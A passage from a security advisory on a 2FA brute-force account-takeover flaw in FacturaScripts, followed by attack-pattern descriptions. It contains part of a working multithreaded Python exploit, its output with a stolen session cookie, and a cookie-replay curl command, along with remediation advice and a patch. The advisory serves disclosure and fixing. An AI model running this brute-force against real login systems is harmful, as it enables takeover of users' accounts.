s.post(f\"{BASE}/login\",\n data={\"action\": \"two-factor-validation\",\n \"fsNick\": NICK,\n \"fsTwoFactorCode\": code},\n allow_redirects=False, timeout=5)\n except requests.RequestException:\n continue\n sc = r.headers.get(\"Set-Cookie\", \"\")\n if r.status_code == 302 and \"fsLogkey\" in sc:\n with lock:\n if hit.is_set():\n return\n hit.set()\n result[\"code\"] = code\n result[\"n\"] = n\n result[\"cookies\"] = {c.name: c.value for c in r.cookies}\n return\n\ndef main() -\u003e int:\n print(f\"[*] target={BASE} nick={NICK} threads={THREADS}\")\n threads = [threading.Thread(target=worker, args=(i,), daemon=True)\n for i in range(THREADS)]\n for t in threads: t.start()\n while not hit.is_set() and attempt_count[0] \u003c MAX_TRIES:\n time.sleep(2)\n elapsed = time.time() - start\n print(f\" [{elapsed:5.1f}s] attempts={attempt_count[0]:\u003e7d} \"\n f\"rps={attempt_count[0]/max(elapsed,1):.0f}\", flush=True)\n for t in threads: t.join()\n elapsed = time.time() - start\n if hit.is_set():\n print(f\"\\n[+] FOUND code={result[\u0027code\u0027]} after {result[\u0027n\u0027]:,} \"\n f\"attempts in {elapsed:.1f}s\")\n cookie_hdr = \"; \".join(f\"{k}={v}\" for k, v in result[\"cookies\"].items())\n print(f\"[+] Cookies: {cookie_hdr}\")\n print(f\"\\n curl --cookie \u0027{cookie_hdr}\u0027 {BASE}/ListUser\")\n return 0\n print(f\"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit\")\n return 1\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\nObserved result against the same install (victim user has 2FA enabled,\nattacker knows only the nick `victim`):\n\n```\n[*] target=http://localhost:9999 nick=victim threads=32\n [ 2.2s] attempts= 1094 rps= 493\n [ 24.4s] attempts= 11535 rps= 473\n [ 50.0s] attempts= 23420 rps= 468\n [100.7s] attempts= 41247 rps= 410\n [144.9s] attempts= 55418 rps= 383\n\n[+] FOUND code=055473 after 55,773 attempts in 146.0s\n[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN\n```\n\nA second run terminated in 24.6 s after 11 569 attempts. Both runs used a\nsingle source IP with no proxy rotation, no HTTP/2, no parallel hosts.\n\n## Impact\n\nFor each 2FA-enabled user (including admins):\n\n- **Confidentiality**: full read access to anything the victim can see \u2014\n invoices, customer data, suppliers, accounting ledgers, attached files,\n user PII, API keys, plugin configuration.\n- **Integrity**: full write access \u2014 create/modify/delete records, change\n permissions, issue new API keys, upload plugins, install code (admin).\n- **Availability**: targeted account lockout DoS \u2014 generating six failed\n 2FA attempts (\u226a 1 s of brute-force noise) pushes the per-user incident\n counter past `MAX_INCIDENT_COUNT = 6`, blocking the legitimate user from\n `loginAction` for 10 minutes. Repeatable indefinitely.\n\nThe vulnerability defeats the entire purpose of 2FA in FacturaScripts:\nenabling 2FA on an account today is strictly *weaker* than not enabling\nit, because it adds an unauthenticated, brute-forceable login path that\nwasn\u0027t present before.\n\n## Remediation\n\nFour independent fixes are required; each closes a distinct gap and any\none alone is insufficient.\n\n1. **Require evidence the user just completed the password step.** In\n `loginAction`, after `verifyPassword` succeeds and 2FA is required,\n write a short-lived nonce keyed by `(client_ip, user_nick)` to the\n shared cache (e.g. `Cache::set(\"2fa-pending-{ip}-{nick}\", $nonce,\n ttl=300)`). `twoFactorValidationAction` must read, validate, and\n delete that nonce before calling `verifyTwoFactorCode`. Without the\n nonce, return immediately.\n\n2. **Call `validateFormToken($request)` at the top of\n `twoFactorValidationAction`.** Every other action handler in the\n controller does this; the 2FA handler should too. Eliminates\n drive-by CSRF submissions.\n\n3. **Call `userHasManyIncidents(Session::getClientIp(), $userName)`\n before doing any work in `twoFactorValidationAction`**, and bail\n out if the threshold is exceeded. This is the missing rate-limit\n pre-check.\n\n4. **Reduce `TwoFactorManager::VERIFICATION_WINDOW` from 8 to 1.**\n The google2fa default is 1 (\u00b130 s). A window of 8 multiplies the\n brute-force success rate by 17\u00d7 for no legitimate reason \u2014 TOTP\n apps and the server clock are typically synchronised within a\n single 30-second step.\n\nSuggested patch (illustrative):\n\n```php\n// Core/Controller/Login.php\nprotected function twoFactorValidationAction(Request $request): void\n{\n if (false === $this-\u003evalidateFormToken($request)) { // fix 2\n return;\n }\n $userName = $request-\u003einput(\u0027fsNick\u0027);\n if ($this-\u003euserHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3\n Tools::log()-\u003ewarning(\u0027ip-banned\u0027);\n return;\n }\n $nonceKey = \u00272fa-pending-\u0027 . Session::getClientIp() . \u0027-\u0027 . $userName;\n if (false === Cache::get($nonceKey)) { // fix 1\n Tools::log()-\u003ewarning(\u0027two-factor-no-pending-login\u0027);\n $this-\u003esaveIncident(Session::getClientIp(), $userName);\n return;\n }\n Cache::delete($nonceKey);\n\n $user = new User();\n if (!$user-\u003eload($userName) || !$user-\u003everifyTwoFactorCode($request-\u003einput(\u0027fsTwoFactorCode\u0027))) {\n Tools::log()-\u003ewarning(\u0027two-factor-code-invalid\u0027);\n $this-\u003esaveIncident(Session::getClientIp(), $userName);\n return;\n }\n $this-\u003eupdateUserAndRedirect($user, Session::getClientIp(), $request);\n}\n\n// Core/Lib/TwoFactorManager.php\nprivate const VERIFICATION_WINDOW = 1; // fix 4 \u2014 was 8\n```\n\n`loginAction` then needs the matching nonce write where it currently\nsets `$this-\u003etwo_factor_user`:\n\n```php\nif ($user-\u003etwo_factor_enabled) {\n Cache::set(\u00272fa-pending-\u0027 . Session::getClientIp() . \u0027-\u0027 . $user-\u003enick,\n bin2hex(random_bytes(16)), 300);\n $this-\u003etwo_factor_user = $user-\u003enick;\n $this-\u003etemplate = \u0027Login/TwoFactor.html.twig\u0027;\n return;\n}\n```\n\n## Reproduction\n\nTested on a clean install built from `master` at commit `7392b489b`:\n\n```bash\n\n# brute force (only nick known) \u2014 secret on the server can be anything\nNICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py\n```",
"id": "GHSA-c67f-gmxw-mj93",
"modified": "2026-07-13T23:35:48Z",
"published": "2026-07-13T23:35:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-c67f-gmxw-mj93"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
},
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FacturaScripts: Account takeover of any 2FA-enabled user"
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.